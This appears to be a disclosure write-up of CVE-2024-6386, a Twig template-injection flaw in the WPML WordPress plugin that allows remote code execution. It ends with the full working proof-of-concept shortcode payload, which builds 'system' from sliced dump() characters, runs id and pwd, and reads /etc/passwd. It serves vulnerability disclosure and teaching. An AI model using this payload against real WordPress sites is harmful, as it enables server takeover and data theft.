The Full Story of CVE-2024-6386: Remote Code Execution in WPML

The Full Story of CVE-2024-6386: Remote Code Execution in WPML

The WordPress Multilingual Plugin (WPML), with over 1,000,000 active installations, was vulnerable to Remote Code Execution (RCE) via a Server-Side Template Injection (SSTI) vulnerability in the Twig template engine. WPML is a premium plugin that provides automatic language translations to build multilingual websites, enabling users to view web pages in different languages. This vulnerability was discovered and reported by security researcher stealthcopter in June of 2024 and has been rated as Critical in severity with a CVSS score of 9.9. All versions of WPML leading up to and including 4.6.12 were vulnerable to exploitation via this attack vector.

stealthcopter

Armed with fifteen years of development experience and a master’s degree in cybersecurity, stealthcopter is a competent researcher. As an avid capture-the-flag player, he has become known in the cybersecurity community. After landing a job in application security, quickly climbing through the ranks to a leadership position, and eventually transitioning into the financial technology industry – stealthcopter decided to hunt for bugs full-time instead. Even though this decision occurred in January of this year, with his expertise in code review and application security, stealthcopter has already submitted hundreds of vulnerability reports.

SSTI

In web development, templates are pre-designed web pages that provide placeholders in the code that can take user-supplied input to provide a certain level of customization or serve dynamic content. 

You can think of them like the word game Mad Libs®, where a prewritten story is provided, and players add their own words to fill in the blanks to create a unique story. The blanks are placeholders filled in with variables or expressions and tags that control the template’s logic except in templates. A template engine then processes these templates and converts the placeholder values into code.

The valid syntax depends on the template engine used, as engines use various programming languages and rules.

When user input is added to a template rather than sent as data, SSTI vulnerabilities can arise. By sending malicious payloads with valid native syntax executed on the server, threat actors can read sensitive data or gain control over the backend. With this injection entry point, these attacks can lead to RCE.

RCE

In an RCE attack, threat actors can execute arbitrary code on a remote machine. Devices can be vulnerable to this exploitation due to misconfigurations, buffer overflows, deserialization attacks, or inadequate validation and sanitization of user input.

Once a vulnerability is discovered, malicious payloads are sent to and processed by the targeted system. As these attacks result in control of a computer or server, the consequences can be severe. Adversaries can use RCE vulnerabilities to install malware, access sensitive data, and move laterally throughout a network. This level of unauthorized access usually results in data breaches, financial loss, and damage to an organization’s reputation.

Shortcode Blocks

In WordPress, a block refers to a single piece of content, such as an image or paragraph. Think of blocks as the literal building blocks of a WordPress website. Within the WordPress Editor, you can use the ‘+ Block Inserter’ button to add content blocks to a webpage.

Shortcode blocks are similar to placeholder tags in templates as they also serve as markers that are replaced with code. These blocks are a quick and easier solution to adding content than writing custom code.

As an example (taken from the WordPress documentation), if you want to add a caption to an image, WordPress provides the shortcode:

[caption id=“attachment_6” align=“alignright” width=“300”]<img src=“http://localhost/wp-content/uploads/2010/07/800px-Great_Wave_off_Kanagawa2-300×205.jpg” alt=“Kanagawa” title=“The Great Wave” width=“300” height=“205” class=“size-medium wp-image-6” /> The Great Wave[/caption]

Which would result in:

(Source: https://codex.wordpress.org/Caption_Shortcode)

The <img/> tag between the opening and closing shortcode tags represents the content.

In addition to the shortcodes provided by WordPress, users can create custom shortcodes by writing a PHP function that defines what the shortcode should do or display. Custom shortcodes can accept attributes, process content, interact with the database, and integrate with other plugins and themes. These functions can then be registered using the add_shortcode() function.

The Vulnerability

Three custom shortcodes are registered when a WordPress website using the WPML plugin is initialized:

add_shortcode( ‘wpml_language_switcher’, array( $this, ‘callback’ ) );
// Backward compatibility
add_shortcode( ‘wpml_language_selector_widget’, array( $this, ‘callback’ ) );
add_shortcode( ‘wpml_language_selector_footer’, array( $this, ‘callback’ ) );

These shortcodes generate a “language switcher” which allows users to select the language in which they want your website to be rendered with.

(Source: wpml.org)

One of the shortcodes registered is [wpml_language_switcher] which can use a Twig template as its content:

[wpml_language_switcher]
<div class=“{{ css_classes }} my-custom-switcher”>
 
<ul>
  {% for code, language in languages %}
 
<li class=“{{ language.css_classes }} my-custom-switcher-item”>
          <a href=“{{ language.url }}”>
              {% if language.flag_url %}
                  <img src=“{{ language.flag_url }}” alt=“{{ language.code }}” class=“{{ language.flag_title }}”>
              {% endif %}
              {{ language.native_name }}
              ({{ language.display_name }})
          </a>
</li>
 
  {% endfor %}
</ul>
 
</div>
[/wpml_language_switcher]

(Source: wpml.org)

The Exploit

To test if the shortcode was vulnerable to SSTI, stealthcopter under a Contributor user role sent a mathematical expression using valid Twig syntax to see if it would be evaluated and rendered to the page:

[wpml_language_switcher]
{{ 4 * 7 }}
[/wpml_language_switcher]

Once he saw the number ‘28’ on the webpage, it was time to escalate severity. WordPress HTML encodes any single or double quotation characters as a security measure. However, stealthcopter found a bypass.

In Twig, {{ dump() }} is a custom implementation of PHP’s var_dump() function that outputs detailed information about one or more template variables. For example, the output of calling this function on a hypothetical user object would return:

object(User)#1 (5) {
  [“id”]=>
  int(42)
  [“username”]=>
  string(10) “johndoe123”
  [“email”]=>
  string(20) “[email protected]
  [“roles”]=>
  array(2) {
    [0]=>
    string(4) “user”
    [1]=>
    string(5) “admin”
  }
  [“profile”]=>
  object(Profile)#2 (3) {
    [“firstName”]=>
    string(4) “John”
    [“lastName”]=>
    string(3) “Doe”
    [“age”]=>
    int(30)
  }
}

In Twig, the set tag assigns values to variables (example: {% set name = ‘Ninjeeter’ %}).

[wpml_language_switcher]{% set s = dump(username)|slice(0,1) %}[/wpml_language_switcher]

In the above, the information about the User variable is output and slice(0,1) extracts a substring from the username variable information, starting at the index position 0 and taking one character (the letter ‘s’ in ‘string’). The character is then stored in a variable named s using {% set s = … %}.

When called without any arguments, information about all variables in the current context will be output, which gives stealthcopter more characters to work with. Using this technique, he was able to concatenate the stored characters together using the ~ operator to create the string “system” which allowed him to execute terminal commands when used with other constructed strings:

{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{{[id]|map(system)|join}}

In order to obtain extra characters that were not included in the output of the dump function, stealthcopter used the same technique only this time on the output of terminal commands he was able to run.

{% set forwardslash = [pwd]|map(system)|join|slice(0,1) %}

The proof of concept payload submitted was:

[wpml_language_switcher]

{# Find letters we need as we cant use any quotes #}
{% set s = dump(current_language_code)|slice(0,1) %}
{% set t = dump(current_language_code)|slice(1,1) %}
{% set r = dump(current_language_code)|slice(2,1) %}
{% set i = dump(current_language_code)|slice(3,1) %}
{% set n = dump(current_language_code)|slice(4,1) %}
{% set g = dump(current_language_code)|slice(5,1) %}
{% set a = dump()|slice(0,1) %}
{% set y = dump()|slice(4,1) %}
{% set e = dump(css_classes)|slice(36,1) %}
{% set w = dump(css_classes)|slice(12,1) %}
{% set p = dump(css_classes)|slice(13,1) %}
{% set m = dump(css_classes)|slice(14,1) %}
{% set d = dump(css_classes)|slice(35,1) %}
{% set c = dump(css_classes)|slice(25,1) %}
{% set space = dump(css_classes)|slice(45,1) %}

{% set system = s~y~s~t~e~m %}
{% set id = i~d %}
{% set pwd = p~w~d %}

{% set slash = [pwd]|map(system)|join|slice(0,1) %}

{% set passwd = c~a~t~space~slash~e~t~c~slash~p~a~s~s~w~d %}


{{dump()}}

{{system}} {{id}} {{pwd}}

{{[id]|map(system)|join}}

{{[pwd]|map(system)|join}}

{{[passwd]|map(system)|join}}

[/wpml_language_switcher]

Conclusion

Due to a lack of input sanitization and validation, this vulnerability could have been used to exploit over 1,000,000 WordPress websites had it not been reported by stealthcopter.

Even with the magnitude of this finding, stealthcopter only received a bounty payment of $1,639. Additionally, it took 62 days for a patch to be issued.

Although templates are intended to be simple, insecure implementations can lead to severe consequences just waiting to be discovered and exploited by those with less honourable intentions.

Leave a Comment

Your email address will not be published. Required fields are marked *